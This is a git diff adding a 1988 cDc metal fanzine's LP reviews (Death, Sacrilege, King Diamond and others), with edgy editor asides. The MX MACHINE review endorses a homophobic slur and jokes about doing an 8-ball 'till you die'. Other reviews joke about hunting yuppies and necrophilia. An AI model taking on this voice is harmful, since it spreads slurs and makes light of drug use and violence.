in MEGADETH for a year or so at the +beginning. However, KUBLIA KHAN use a hell of a lot more chords and I +like it a lot. Now I'm not saying that they are MEGADETH clones. Fuckin +no way! The tunes are well-written and the drums and guitars will get ya +going. Among my favorite tracks on the LP are "Death Breath" and "Passing +Away". These guys can really fuckin jam! Great buy. + + +CARNIVORE: Retaliation (Roadracer) by The Raver + + Retaliation is one of the most intense thrash LP's I have heard of +late. No telling how many people I have hooked onto this album. I mean, hey, +I love all thrash, but Retaliation just has that intensity that really takes +me to bangin' land! I listened to this album about 15 times the first three +days I had it! With the advent of this album, CARNIVORE has proven to me that +not only are they outstanding musicians, but outstanding lyricists as well. +The album kicks off with a non-musical piece entitled "Jack Daniels and +Pizza", a sick combination as well as a sick tune. I don't even know if it +can be called a tune, as it consists purely of a guy puking his guts out into +a toilet. I dunno, I guess if I mixed JD and pizza I'd puke my guts up as +well. Aside from that piece you'll find socially conscious tunes "Angry +Neurotic Catholics", "Race War", "Inner Conflict", "Jesus Hitler", "U.S.A. +For U.S.A.", "Over 5,000,000 Dead" (instrumental), and "Sex and Violence" +[Not related to the track of the same name by THE EXPLOITED -Eds]. All of +these tunes are well-written and will send you into a head banging frenzy. +I can't praise this LP enough, so go out and buy a copy. You won't be sorry. + + +DIAMOND: Diamond (Mijems Productions) by Decrepit Monarx Firstborn + + Next album, please. Keep this keyboard-crammed, hip hit shit away +from me. Far away. [Motion seconded -Eds]. + + +ZOETROPE: A Life Of Crime (Combat) by The Raver + + This is another example of how intelligent the underground metal +scene can be. ZOETROPE's second LP, A Life Of Crime, is hellafuckinlacious. +While not always fast (and that's okay, as too much of one thing will burn you +out), their tunes are certainly heavy. The tracks on the album are aptly +named. Such titles as "Promiscuity (Slut)" and "Detention" stick out. At the +tail end of "Promiscuity" is a special audio appearance by El Duce of THE +MENTORS and man, does he make a "whale" of an appearance. "NASA" is easily +one of the most accessible tracks on the LP and it deals with the Challenger +space shuttle accident. Another definite hit on the album is "Company Man", +in which Barry Stern (drums/vocalez) sings about some poor loze that kisses +ass all the time (can we say bootlicking?). + + Overall the LP is incredible. The music and lyrics are outstanding +and the album jacket is an eye-catcher. It has cut-outs and the inner sleeve +has pictures of the four band members (Barry Stern, Calvin "Willis" Humphrey, +Kevin Michael, and Louie Svitek) and a motley assortment of '20s gangsters. +The vocalez are excellent, considering that Stern does all the drumming, and +hey, every instrument is played to the hilt. Buy this LP if you are into +real music. I have been able to turn non-thrashers/metallers onto this +album, for it is very accessible. Combat plans on pushin' ZOETROPE and if +they didn't, I'd call them all fools. This album isn't just good, it's +fuckin'-A! Lyrics included. + + +SACRILEGE: Within The Prophecy (Music For Nations/Metal Blade) by Anaxagorus + + I like to review LP's because of the good feeling I get when I come +across a "musical masterpiece" (if you will). I am now going to try to +express how good I felt when I heard the new SACRILEGE album, Within The +Prophecy... un-FUCKIN-real! Sorry, but I decided that it would all fit into +that word. Let me see if I can get you to understand what I mean... + + It was obvious that their primary influences were METALLICA and +BLACK SABBATH. This is good, for both of the aforementioned bands are good +in their own right. What I mean is that this is really good 'n eerie music. +It is both melodic, fast, and heavy. Each song is a story in itself, and the +average length of their songs is over six minutes! That's a definite plus in +my opinion - more music to thrash by! + + On "Sight Of The Wise" the band opens up with an interesting intro +piece and run it right into the song with such a mastery that it is nearly +unfathomable (good studio work, at least). The song is extremely well done. +The drums aren't drowned out at all. In fact, they are actually quit prom- +inent. The riffing is extraordinarily good. + + "The Captive" is really good, too. It starts out with a prominent +bass line and then merges in with the guitars. The imagery of the song is +unreal. More meaning is placed on this track's lyrical content. + + "Winds of Vengeance" is my favorite track on this LP. The intro is +not as good as that of "Sight Of The Wise", but it has the best lyrics and +vocals. The imagery of this song is fuckin unholy! The most interesting +part of the song is the classical guitar solo right in the middle of the +song. It is masterfully mixed back into the song before it is abandoned. + + "Spirit Cry"'s crunching guitar riffs during the intro will pull +a 360 on your cranium (kranium?). Best place your head between your knees +when listening to this song or you might lose your -WUMP- head. The wailing +guitars are this song's definite strong point. + + "Flight Of The Nazgul" is my second favorite song on this astounding +album. The building of this song is good, and the imagery rivals that of "The +Captive" and "Winds Of Vengeance". The guitars continue to crunch away. When +I listen to this song I can definitely pick out a Tolkien influence. When you +listen to it just see if you can imagine the shadowed lands of Mordor and the +horrid black tower, Barad-Dur [from Tolkien's Lord of The Rings Trilogy -Eds]. +The drums make this song happen, but I wish the bass were just a tad bit more +prominent. This songs' "false endings" really keep the suspense up. + + "The Fear Within" has all the crunching riffs of the other songs and +near the end of the song the speed begins to drop but the pounding guitars +get much heavier. Pretty powerful stuff. + + "Search Eternal" is the longest song on the entire album (a mega 11 +and a half minutes long!). It has a crunching intro and killin' riffs. All +during the choruses Tam's (vocals) voice seems to fade in and out, and it's +kinda disorienting. This tune's ending is fucking great. It ends in classic +riffing and guitar wails. + + All in all this is a fuckin excellent slab of metal from one of the +best English thrash bands. Since when I met the members of SACRILEGE in +London last summer the lineup has changed. In fact after the album was press- +ed the lineup changed... twice! Here's the new lineup: Lynda "Tam" Simpson +(vocalez), Damien Thompson (lead guitar), Frank Healey (rhythm guitar), +Paul Morrissey (bass), and Paul Brookes (drums). A quick note is in order +here. Paul Brookes holds three world drumming records, including the longest +drum solo on record... 24 hours! + + +DEATH: Scream Bloody Gore (Combat) by Decrepit Monarx Firstborn + + After several lineup changes and a couple of successful demos, DEATH, +a reincarnation of the band MANTAS, are stalking the bloodsoaked realms of +deathmetal. Their debut LP, Scream Bloody Gore is, to put it mildly, death- +reaping. + + Gore begins with "Infernal Death", a track which demonstrates from +the beginning their raw, sledgehammer sound and their songwriting penchant for +a variety of riffs whilst maintaining a constant thrust of speed. The opening +is filled with imposing power which soon picks up with their "hot rails to +Hell " sound of follow-up riffs. Chuck Schuldiner, who both sings and plays +guitar (exchanging leads with Rick Rozz frequently) on the album, and displays +to hit both the high howl and the low growl and knows when (and how) to use +them. The next song, "Zombie Ritual", opens with a mysterious harmonizing of +bass and guitar which explodes directly into malevolent, gut-wrenching speed. +Bill Andrews' drumming in the breakdown is excellent, along with Terry Butlers +thumping bass-lines, which range out above the mix, following it. "Denial Of +Life" is pure speed, pretending to slow down at times, but always recuperating +just in time [Ahhh -Eds]. The solos churned out of the mayhem by Chuck and +Rick are good, without being the most exciting of events. Following "Denial" +comes "Sacrificial Death" with its interesting riffs and wide variety of +speeds, setting which come and go throughout. "Mutilation" conveys a feeling +of wild loss of control. The instruments doubling the vocal line as Chuck's +shouts of "mutilation" brings that feeling to a climax which doses out side 1. + + Side 2 kicks off with "Regurgitated Guts" (ya gotta love these guys- +don't ya?). "Guts" matches its power felt with alternating speeds of fast and +not-so-fast. The change is sometimes sudden and sometimes progressive, occas- +ionally interrupted by guitars crying out alone without backups. The guitars +charge full force into the solo as the bass note ring out behind them. The +solo ends abruptly, as does the brutality of "Guts". The long epic "Baptized +In Blood" begins with a bit of slow death, punctured by Chuck's screams. The +blazing speed of the tune flares off at times with an odd, off-tempo bit which +results in the frantic feel of "Baptized". "Torn Into Pieces" is a quick, easy +number with Chuck's voice at top form at all ends of the scale. "Torn" is +followed by "Evil Dead", which supports a melodic opening of electric guitar. +"Dead" is a short song with few variations. The curtain closes on Gore with +its title track, a brutal song written to maim the listener. "Scream Bloody +Gore" is a tune laden with riffs, rhythms, speeds, and solos that underline +the fact that in the end, all things must face... DEATH! + + +INDESTROY: Indestroy (New Renaissance) by The Raver + + Reviewing albums can take its toll on you. I mean hey, look at me. +I'm either eating, sleeping, working, going to school, doing PR, or writing. +But as has been said before, it it is always well worth it when you come +across a gem of an LP, as is the case with the debut from the Rockville, MD, +four-piece known as INDESTROY. + + I was duly impressed by Drew Elliot's bizarre piece of cover artwork - +it's definitely interesting. As I finished ripping open the album, I groped +about inside hoping for a lyric sheet of some sort. Lo and behold there it +was. I don't need the lyric sheet for the lyrics (I can usually figure those +out), I just like to look at the pics and read the thank-you's. You know what +I mean. At any rate, these guys have a definite knack for song writing, both +musically and lyrically. Some of the hooks and riffs are so out of the +ordinary that you just have to sit back and say "Whoah!" The guitars and bass +are heavy and rip all over the place while the leads wail. The vocals are deep +and have a lot of character. And the drums, you ask? Why they're so heavy +that they'll pummel you into fuckin oblivion. + + Side one starts off with an epic-type tune called "The Gate" which +is lyrically pleasing. Let your imagination run free with this one. Next +comes a great tune destined to b a classic... "U.S.S.A.". This tune pokes +fun at the government in general and has a rag on the P.M.R.C. thrown in for +good measure [That's the way ta do it! -Eds]. "Ground Zero", as the title +implies, takes a stab at nuclear war. The next track is by far my favorite. +It's called "Dead Girls (Don't Say No)" and it starts out with that old, +yet classic, funeral music and digs on into a tune so sick and powerful that +you'll have an incredible urge to make a midnight run to the local funeral +home (or morgue, as the case may be). Side one is cleaned out with "Fatal +Sin". With its bizarre beginning it starts out rather slowly before kicking +into ripping speed. + + Side two opens up with "Brain Damaged", a tune about thrashers in +general and man, does it rage with ferocious velocity. Next up is another +one of my faves, a track called "Justice Sucks". Ever get busted for poss- +ession? Yeah? Then you'll love this tune. "Shadowlord" is a tune in the +age-old tradition of Jack the Ripper. Next is a strange tune called +"A.I.M.L.E.S.S." which is the most confusing track on the album. Between the +name (an acronym for God knows what) and the lyrical content, I was left +stumped. The music, however, is not confusing. Nay, it's just fucking +good! The last track on the LP is "Dismembered" and it's about the punishment +that thieves in the Middle East received for stealing. Can we say -WUMP- ? + + All in all INDESTROY exemplifies industrial thrash - exceedingly +heavy with alternating speeds. The music is good and the lyrics are above +average. The vocals are good and, well shit! The whole album is cool. +Yet another excellent 1987 debut LP. Hopefully 1988 will be just as rewarding +for INDESTROY. + + +LIEGE LORD: Burn To My Touch (Metal Blade) by Decrepit Monarx Firstborn + + LIEGE LORD's debut LP, Burn To My Touch, begins with "Transgressor", +displaying their taste for a polished (not the biggest of turn ons for yours +(seldom) truly), vocals sung well with few extremes, not screams nor snarled, +and guitars which make frequent use of lickety-split, two-handed play on the +part of Tommy Trugliano. The next track, "Birds of Prey", is, like "Trans- +gressor", not the best written tune of the LORD's but does begin to hint at +Matt Vinci's bass prowess. The action really takes off with "Cast Out", +which combines the bands best aspects in a decidedly winning effort. Closing +out side 1, "Portrait Of Despair" follows "Cast Out" in its display of song +writing capability, and with the breakdown towards the end, the listener is +made well aware by now of Vinci's bass-bashing power. + + Side 2 kicks off with "Black Lit Knights" with its eerie beginning. +"Knights" loses just enough of LEIGE LORD's polish to make a truly thrashing +tune. Frank Cortese makes "The Manic's Mask" with his drum play, but this +doesn't keep "Mask" from being a bit on the dull side [Zzzz -Eds]. "Legend" +is more straight metal than thrash, with a bit of an IRON MAIDEN sound, esp- +ecially with Matt Vinci's continually excellent bass work. The instrumental, +"Walking Fire", presents a variety of guitar riffs and is kept at the right +length for an instrumental of its style. Burn To My Touch finishes out with +"Speed Of Sound", with its grandiose vocal beginning, a typical LEIGE LORD +style and sound, and a clever surprise of an ending. + + +INFERNAL MAJESTY: None Shall Defy (Roadracer) by Decrepit Monarx Firstborn + + This new five piece from Toronto presents here a vinyl slab of metal +malevolence for all fans of black metal. The lyrics are well though out and +eminently evil. While the playing is tight and strongly united in an effort +to blast out a variety of styles and sounds that keeps anything from getting +in a rut. + + On the downside, however, individual instrumentation is less than +first rate except on "Path Of The Psyco" (written by Psycopath; get it?), a +spine-chilling nightmare number which closes out the album. At their worst, +on "Night Of The Living Dead", they can leave you cold. While at their +best, on the title track, nobody is better. + + +PRIMAL SCREAM: Volume One (Mercenary) by The Usurper + + PRIMAL SCREAM decided to make their start in April of '86 and spent +20 hours recording a three-track demo called The Outrage Continues and, after +a mere five performances, were signed to Mercenary Records (the metal division +of Celluloid Records). Out in April of last year, Volume One appears to be +doing well in the metal realms. + + The cover of the album is rather impressive (artwork done by Rick +Bergere) and depicts the split of a man and a beast (throk?) screaming. The +album itself is low budget and has an impressive roster of 10 songs. Let's +hear it for the PRIMAL dudes! One of the most unusual songs is "Mr. McCreedy" +which is a horror-type song. I read somewhere that this should have been the +theme song for Nightmare On Elm Street III: The Dream Warriors. No doubt, +PRIMAL blows DOKKEN right off the face of the earth. In addition, these guys +are really intelligent. Take for example, "State Of The State", a very +effective stab at terrorism. But these guys don't make a screeching halt at +politics, though. They even delve into the all-metal realm of fantasy with +such tracks as "Poisoned" and "Last Breath". + + PRIMAL SCREAM is back-to-basics metal, uncluttered by garish cost- +umes and paint. The songs are tight, compact, and have few lead breaks. The +lyrics span a vast range of topics from the socially conscious to epic Norse +myths and macabre horror fantasies. Everyone involved does backup vocals, +which enhances the quality of the tunes. The musical work on this album works +for me [Ahem -Eds]. With an album like this you can be assured of quality. + + +AGNOSTIC FRONT: Liberty & Justice For... (Combat) by Anaxagorus + + Good God! This is a fantastic album from the mighty AGNOSTIC FRONT. +What we have here can almost be construed as the epitome of socially conscious +thinking. A quick run down of the songs, all eleven of 'em, reveals the fact +that AGNOSTIC will always have a knack for songwriting. Musically, they have +improved a bit. Take the sounds of "Anthem", with the ever-gurgling voice of +vocalist Roger Miret and the powerful backing vocals. The statements made on +this album range from war and rioting ("Liberty & Justice") and hypocritical +people accusing others of being hypocritical ("Hypocrisy") to a song about +why punks are the way they are ("Crucified") [A cover of the song of the same +name by IRON CROSS -Eds]. + + I like this album a lot, even though it is rather short. The musical +ability of this New York five piece soar to new unexpected heights while Roger +gurgles on in the foreground. Roger can sing but sometimes he can be a bit +difficult to understand, especially on this album. That's why it's a good +thing that the lyrics are included. Although not quite as powerful as Victim +In Pain, Liberty & Justice For... makes its standpoint known and refuses to +budge. A good purchase can be found here. + + +DARK ANGEL: Darkness Descends (Combat) by The Raver + + DARK ANGEL descends violently upon all listeners of this brutal slab +of molten metal. Exemplifying heaviness, brutality, and speed, Darkness Des- +cends is a very powerful slab of metal. The five defilers of light that make +up DARK ANGEL have gone full force with this LP and deliver seven razor-sharp +tracks to rend you to pieces. The abilities of this California band are all +very good and Gene Hoglan's style of power drumming will make casual listen- +ers casualties. Probably the most popular track on the album is "Death Is +Certain (Life Is Not)", but my favorite track is "Merciless Death". All the +tracks are fuckin-A with us! We are talking massive power and speed with +furious riffing courtesy of Eric Meyer and Jim Durkin. Mike Gonzalez really +pounds his bass to Hell and back whilst Don Doty screams the lyrics out with +wicked intensity. My only problem with the album is that there wasn't a +lyric sheet inside and there isn't a whole lot of writing on the jacket per +se. Maybe that's good (more music, less writing), but I'm not sure about +that. At any rate, you won't be wasting your hard-earned bucks by picking +up a copy of Darkness Descends. + + +THE NECROS: Tangled Up (Restless) by Anaxagorus + + Tirejack. That's what I first thought of when I listened to this LP. +In case you're wondering what the hell 'tirejack' is, it's a word coined by a +punk friend of mine from Maryland and it means shit (and all applicable syno- +nyms). I could have sworn that I had heard most of the riffs somewhere else +from other bands. The initial let down didn't get any better, either. The +album features eleven songs or, translated to listening time, 24 minutes; and +all for a whopping list price of $8.98! Is it worth shelling out your cash +for less than a half an hours listening enjoyment? In some cases, maybe, but +in this case my answer is NO. + + One of the big problems with this album is ego. THE NECROS was a +punk band back in the early '80s, but because they think that the hardcore +scene turned hip/new wave and forgot all about the socially conscious chain +of thought, they turned metal. In fact, they did a rather bad job at it. +As I have mentioned previously, the album is laden with unoriginal riffs and +tunes. Barry Henssler (vocals) still sings as if he were in a punk band. +There's more wrong with this album than good. So there you have it. Toss +it out the window. + + +NUCLEAR ASSAULT: The Plague (Combat) by The Raver + + The latest 12" slice of pizza from the NUCLEAR guys yields complete +speed and power with a socially conscious twist. From the pure brilliance of +"Game Over" (instrumental) to the massive diversity found in "Butt Fuck". With +this EP you you will get off like you have never before from the combined fret +action of John Connelly and Anthony Bramante, the drumming of Glenn Evans, and +the bass and vocal prowess of Dan Lilker. These guys can do more than just +play, the can write. + + Starting off side one is "Game Over", a powerful instrumental that'll +get you bashing. "Nightmares", the next track, is kinda mysterious and makes +you wonder if you are truly sane. Just when you thought you were safe "Butt +Fuck" kicks in and makes ya take a long, hard look at the business (record, +that is). This track wins my vote as best on the album - its even got a blues +part! Listen to the lyrics... + + Side two opens with "Justice", another kickin' track about, you +guessed it, the legal system. The title track talks about nuclear war and +the problems of this society we live in. Dosing out the flipside is a track +with a great name and an even better message. The tune is called "Cross Of +Iron" [Killin! -Eds] and it deals with good old Hitler and what happens when +people worship the man and not the ideal. + + This EP is truly a great buy. Six original tracks backed by power +not usually found anymore. Listen to this and you'll know why the insert in +Speed Kills III says that NUCLEAR ASSAULT piss all over ANTHRAX. Their great +attitude is plastered all over this EP and it is a commendable one. Three +cheers to the NUCLEAR guys for another brilliant slab of vinyl. The lyrics +are included. + + +HOLY TERROR: Terror & Submission (Music For Nations) Decrepit Monarx Firstborn + ^^^^^^ fucking long name + + Following his angry departure from AGENT STEEL, guitarist Kurt Kilfelt +has formed HOLY TERROR, a five piece out of LA. Terror & Submission is their +debut LP. + + Dark and evil sounds introduce "Black Plague", the first track. +"Plague" is tight and very clean, considering its rapid power. The solos +display the finger talents of not only Kilfelt but also of his six string +cohort, Mike Alvord. Drummer Joe Mitchell kix tail during the slow(er) +section, while bassist Floyd Flannery can be heard from a bit more. + + The follow-up tune, "Evil's Rising", sets off with strong imagery, +the music slowly building as evil emerges from the bowels of the earth, +finally culminating as the music kix off with a cymbal ride and a guitar +slide. "Rising" shows vocalist Keith Dean in great form, displaying more +variety than in "Plague" and helping the chorus truly stand out. What comes +around comes around, and "Rising" ends as it began with a strong image of +its lyrics as evil conquers all, finally and brutally. + + The third song, "Blood Of The Saints", begins with an instrumental +bit, at first slow and grinding, then fast and frantic. The main body of +"Blood" is a straight forward thrash charge, to which the background to +the solo slightly contrasts with good effect. + + "Mortal Fear" is next in line and is more romping speed until after +the second chorus and things become more melodic, including some bass lines +which finally shine through the mix and a killer guitar solo. + + Closing out the first side is "Guardians Of The Netherworld", a +pounding, march-like anthem with a rousing chorus where, as in "Fear", the +coming and going of the backup vocals form a strong sound. + + Side two opens up with the "Distant Calling", a more accessible tune +with several good riffs. The harshness in Dean's voice is toned down a degree. + + Following the relatively short "Calling" comes the LP's title track, +"Terror & Submission". This track is deadly with guitars hitting sudden high +notes amidst the multitude of highly charged riffing. The muffled voices +introducing the solo add tremendous effect and the scales leading up to the end +close out "T&S" with a crunch. + + Beginning with leery, mysterious guitar, "Tomorrow's End" is the +fastest song on the album until it reaches the jittery, nerve-racking bridge +to set you up for Mike and Kurt's blinding-speed solos. + + Closing out Terror & Submission is the intensely rhythmic "Alpha +Omega, The Bringer Of Balance" whose stop and go will make you do nothing but +go until you stop -- dead. + + +BLOOD FEAST: Kill For Pleasure (New Renaissance) by The Usurper + + Formed in late '85, BLOOD FEAST hail from Bayonne, NJ. The lineup +consists of Gary Markovich (vocals), Adam Tranquilli (guitar), Lou Starita +(bass), Mike Basden (guitar), and Kevin Kuzma (drums). Originally called +BLOODLUST, they got off to a great start by putting out a demo called Suicidal +Mission [No longer available -Eds]. Since another band of the same name was +under Metal Blade Records they changed their name to BLOOD FEAST. + + Their debut LP, Kill For Pleasure, continues to be one of Renaiss- +ance's top sellers. BLOOD FEAST also makes brief appearances on Speed Kills +III and Thrash Metal Attack [Both are compilation albums -Eds]. + + BLOOD FEAST have a sound similar to that of DEATH and POSSESSED but +have their own technique of putting forth their message, which is rather +brutal. Upon casual listening you will discover that Kuzma's drumming is at +top form, hard and fast, and that the guitars wail in the ever-so-close dist- +ance. Even though the music has a "hellbent for leather" approach to speed +you can understand the lyrics easily. The lyrics rhyme and makes the music +just that much better. The songs, averaging about 5 minutes in length, +cover everything from "Vampires" to the "Destruction" of the earth. Gary's +bloody screams tie the knot for this album. Their longest tune is "Vampires" +but I think my favorite has got to be the title track, "Kill For Pleasure". + + This album is definitely a must in your record collection. In fact, +I recommend it highly. This band will definitely be around for a long time, +thrashing and bashing all the way! + + +EXE: Stricken By Might (Shatter) by The Raver + + I had mixed feelings when I first heard this album. I am happy to +say, tho', that Stricken By Might grows on you. The style of playing really +makes me think of SLAYER. This is not to say that their own bits of +style aren't creeping about in the mass, for they are. I just wish they'd +make their own presence a bit more well known. Among the better tracks on +the LP are "Stricken By Might", "Warchild" (where the vocals get toned down +a bit - almost aesthetically pleasing), and "Crib Death", a sick tune with an +equally sick beginning (that of an old rhyme we all heard when we were but +babes). The most embarrassing track has got to be "Metal Hell" [Ahem -Eds]. + + While not a bad album, Stricken By Might is not without its defects. +Take for example the wretched cover artwork. In addition, it's too bad that +the lyrics don't progress beyond the Jack and Jill style of death metal. In +fact, most of the lyrics are rather lame. I have had an opportunity to hear +selected pieces of of a recent practice tape that had songs to ne featured on +their upcoming LP. If EXE's new LP sounds anything like that practice tape +then it would appear that they have begun their journey down the path of +originality. This album is not terrible, but it could have been a lot better. +Lyrics included. + + +THE BIRDHOUSE: Burnin' Up (Link Records) by The Raver + + Oooh... Uh..sorry, my brain is just slightly rattled from Billy +Scarr's bashing bass. THE BIRDHOUSE's first domestic U.S. release has been +kicking my ass for the last couple'a hours. This LP is fucking good. Since I +work at a college radio station I feel that I can safely say that this album +is going to be a hit on college stations everywhere. THE BIRDHOUSE are really +a fusion of music forms. From Detroit punk to metal to thrash to Australian +rock. It's a good mixture. It's not all thrashy but it's damn good. + +Tracks: Die Baby Die (a personal favorite), F.U.P., Hurricane In My Head, Rev +It Up, My Wicked Way, Bad Love, Sick Boys, No More, Shake It Loose, and Suck +This Bitch. + +These guys have this raw talent and, well hell, I just fucking like it. That's +all. If you can deal with music that's a bit more diverse than your average +metal/thrash/core then check out this killin' LP. + + +JOE SATRIANI: Surfing With The Alien (Relativity) by The Raver + + When I first received this album I caught myself saying "What in the +fuck?" I decided not to let the jacket artwork (a pic of Galactus' hand +hurling the Silver Surfer into the vast cosmic void, compliments of Marvel +Comics) freak me out too much [Then why were you in a nut house for those 3 +months, huh? -Eds]. + + For those of you who have not heard of Joe Satriani, he is the dude +who taught Kirk Hammet (METALLICA) and Larry LaLonde (ex-POSSESSED, now BLIND +ILLUSION) how to play guitar in the first place. This is, I believe, Joe's +second LP to date and it is of a completely instrumental nature. In addition +to doing all the guitarwork on the album, Joe also does bass, percussion, and +drum programming (Shit, does this guy get any sleep?). While not thrashy at +all, Joe's outstanding guitarwork makes this album rather enjoyable to the +musically inclined listener. + + For about $9.00 you get 34 minutes of instrumental music. You must +be the judge as to whether or not this is worth it for you. My copy came +with a Joe Satriani "Surfing With The Alien" guitar pick. Wowzerz. A list +of the tracks follows: "Surfing With The Alien", "Crushing Day", "Always With +Me, Always With You", "Satch Boogie", "Hill Of The Skull", "Circles", "Lords +Of Karma", "Midnight", and "Echo". This is a good album if you are musically +open minded and like drum machines. To all narrow minded readers: steer clear +from this album, as it is not your style. + +------------------------------------------------------------------------------- + Well, we're out of room for this part of Issue 1. Now read parts #1 and #3! + + CROSS OF IRON (c) 1988 cDc communications + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +------------------------------------------------------------------------------- +CROSS OF IRON Number 1, Part #2 0/5,6/88-53 + diff --git a/textfiles.com/groups/CDC/cDc-0054.txt b/textfiles.com/groups/CDC/cDc-0054.txt new file mode 100644 index 00000000..62a04cc1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0054.txt @@ -0,0 +1,830 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications presents... [ x x ] + \ / \ / + (` ') CROSS OF IRON FANZINE (` ') + (U) (U) + + Volume I, Number 1 (Part #3) May-June 1988 (c)1988 cDc + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + Okay, its time to finish out the LP reviews (we're getting there). +We're sorry that Issue #1 is so huge but, well, like I said, we had some major +LP reviewing to do. Hopefully Issue 2 will not be so humongous. Okay, well +enough of my mindless ramblings. Time to finish up the reviews... + + Oh, be sure to check out the DEMOstonishing column at the end of this +file. It contains a few demo reviews. Also, read the MUSIC IN ACTION article +and sign the petition and send it in! Please do this. Is it that hard to sign +your name and mail a letter? Awright, on with the bloody show... + +------------------------------------------------------------------------------- +THRASH METAL ATTACK: compilation (New Renaissance) Decrepit Monarx Firstborn + + Just when you thought it was safe to go back in ye olde record store +New Renaissance has released yet another compilation, so save up dem bucks. +What sets their compilation albums apart from the rest? Well, they all consist +of previously hard-to-get demo tracks from bands they have signed. Thrash +Metal Attack is a set of twelve songs by twelve young bands. Here is a brief +rundown on the goings on: + + ANVIL BITCH, "Tales Grimm": rough, not particularly exciting. Good +vocals, but substandard guitars and songwriting. RABID, "Lead to the Gallows": +Evil and vicious sounding. DEFCON, "Red Light": excellent guitar at the +beginning; lasts a bit too long, though. DEFCON has a definite crossover +sound. POST MORTEM, "Armies of the Dead": the music can't be heard over the +vocals; poor songwriting. NECROPHAGIA, "Young Burial": has a very mysterious +and strange sound. Very different. BLOOD FEAST, "Menacing Thunder": mind +mauling! NECROPOLIS, "The Future Holds the Past": great sound and songwriting. +AGGRESSION, "Torment or Death": speed and fury from Montreal. Good song. +HELLWITCH, "Torture Chamber": good beginning. Loses interest quickly, though. +DES EXULT, "Salvation": hailing from Denmark, DES EXULT seem to be good at slow +and grinding metal that bursts into utter speed annihilation. WEHRMACHT, "Gore +Fix": maniacal vocals, yet not the best of songs. WARGOD, "Preserved Corpses": +pure speed, good guitars. + + All in all a good compilation LP if you can stand some of the rough- +ness that abounds here. Harsh sounds mingle with the varying production +quality that each song has [We dig that NECROPHAGIA! -Eds]. This is a good buy +if you like to listen to demos and want to hear what some recording artists +sound like before they cut their first slab. Well, here's your chance. + + +ZNOWHITE: Act of God (Roadracer) by The Raver + + Wow. More crunch metal from Zhicago (ahem). This is good stuff, boys +and girls. We're talking crunch crunch crunch! Like ZOETROPE, ZNOWHITE +carries on that great tradition of having a black member in the band. That's +real cool. We need more bands like this. ZNOWHITE's front-person is Nicole +Lee...wow, she can really wail. Featuring nine crunchy tracks, Act of God +will do unspeakable things to you while you're listening to it..I'm talking +massive neck and spinal cord injuries here, folks. Have the doc's number +handy before listening. + + The lyrics are exceptionally good and the metal just flows because +it's so molten.. ooze city. ZNOWHITE covers everything from bigotry to +nuclear war. Wow. Shit, this is a good LP...go out and thrash till you die. + + +AT WAR: Ordered to Kill (New Renaissance) by Rob R-Rock + + Anybody who hangs with the 'head (and that's MOTORHEAD for you +uninitiated drecks) is cool in my book, got it? Cause in the universal scheme +of things, MOTORHEAD kicks butt all over whatever sort of stupid philosophy you +hold dear. And in the inside insert deal there's a picture of these dudes with +M-HEAD themselves! So I'll say it and I'll say it loud. AT WAR IS COOL. Got +it? [Oh please... -Eds] + + "Ilsa (She Wolf of the S.S.)" is rulin', should've been the soundtrack +to the flick. This mercenary metal idea is a pretty invigorating concept. I +could see hillbilly rednecks in pickup trucks with gun racks listening to this +when they go a-huntin' yuppies. Kinda cool in an oafish sort of way, but then +from another perspective very Amerikan and upright and uh...morally satisfying. +I sayz yeh! + + +MX MACHINE: Manic Panic (Restless) by The Raver + + The attitude here is one that I hold dear..."No Glam Fags"...yeah, +that's one of the songs on this album. MX MACHINE really despise the LA glam +scene and, as an act of rebellion, have a lot of fun insulting them in the +aforementioned track.. High-intensity, raucously funny, and down-to-earth. +Yeah, that's MX MACHINE for ya...Produced by Joey Vera (ARMORED SAINT), MX +MACHINE has this serious nuclear energy that's ready and willing to knock you +right through the wall...face first. + + According to MX's drummer, Liquid Dan, "We designed this album for the +youth of America. If you're young and pissed off, this is just the total +'get-it-off-your-chest' album". I tend to agree... [Well goody for you -Eds]. + + The LP cover just rips...got this little rodent kid wearing a batman +sweatshirt and he's wearing this "fuck you" facial expression and shoving a +clenched fist right in your face. Wow. On the back cover and on the lyric +sheet are all these doodles of freaky monsters...real cool...do an 8-ball and +jam to this shit...seriously...you might even die! [Now how are we gonna get +a large following if you keep on insisting that everyone die? Huh, Raver? +-Eds]. The lyrics are just plain killin! Be sure to check out these tracks: +"Kick You In The Face", "No Glam Fags", "Fuck The Neighbors", and "Youth". +Wow, good album, good idea, deadly music, high-intensity kick-you-in-the-face +tonage here, folks... You really ought to see the press pic where they imitate +how glam bands do photo shoots...haw haw hah. + + +KING DIAMOND: Abigail (Roadracer) by The Raver + + Now I never was a staunch KING DIAMOND fan (I like my stuff much more +brutal) [Really? Heh. -Eds], but Abigail is a damn good LP. No, it's not +about the usual thrashy type subjects, but rather a ghost story of sorts. +Each song is a different chapter in the tale. + + The LP opens up with a piece called "Funeral." This song opens up the +story with a bizarre funeral scene where Abigail, the main character, is to be +laid to rest and nailed to her coffin [Cool, we wanna die like that -Eds]. The +vocals are strange and eerie. They sound as if uttered by demonic voices. +[Lions & tigers & demonic voices! -Eds..ouch] After this short intro comes +"Arrival", a lengthy track detailing the arrival of the protagonists (Miriam +Natias and Johnathan La Fey) to The Mansion (once the home of Abigail). King's +voice is so much better on this album than any of his previous releases that I +have heard. No longer does his voice grate and wail [You mean I can play +Abigail and it won't shatter my windows? -Eds]. Nay, it is actually melodic. +The imagery is profound and the lyrics are actually well-written. Next up +comes "A Mansion In Darkness", also a rather lengthy tune. King's voice here +is a real improvement over his bygone days in MERCYFUL FATE. Following +"Mansion" comes "The Family Ghost" (also available on a special EP), a powerful +cut that deals with the ghost that dwells in the mansion. The story and music +continue with such tracks as: "The 7th Day of 1777", "Omens", "The Possession", +"Abigail", and concludes with "Black Horsemen". All in all, an excellent +lullaby from the darker side with 9 chapters, each darker than the first. + + The biggest problem I have with this album is the massive number of +typos appearing on the lyric sheet. Now I understand that we all make mistakes +(even me) [gasp.. -Eds], but this is way out of hand. Names are misspelled, as +is the word solo (spelled "soli" in one place). Shame, shame. King Diamond is +in top form on this 12" slab and so is his band. Not as speedy as I like, but +has an amount of imagery rarely seen today. 41 minutes of 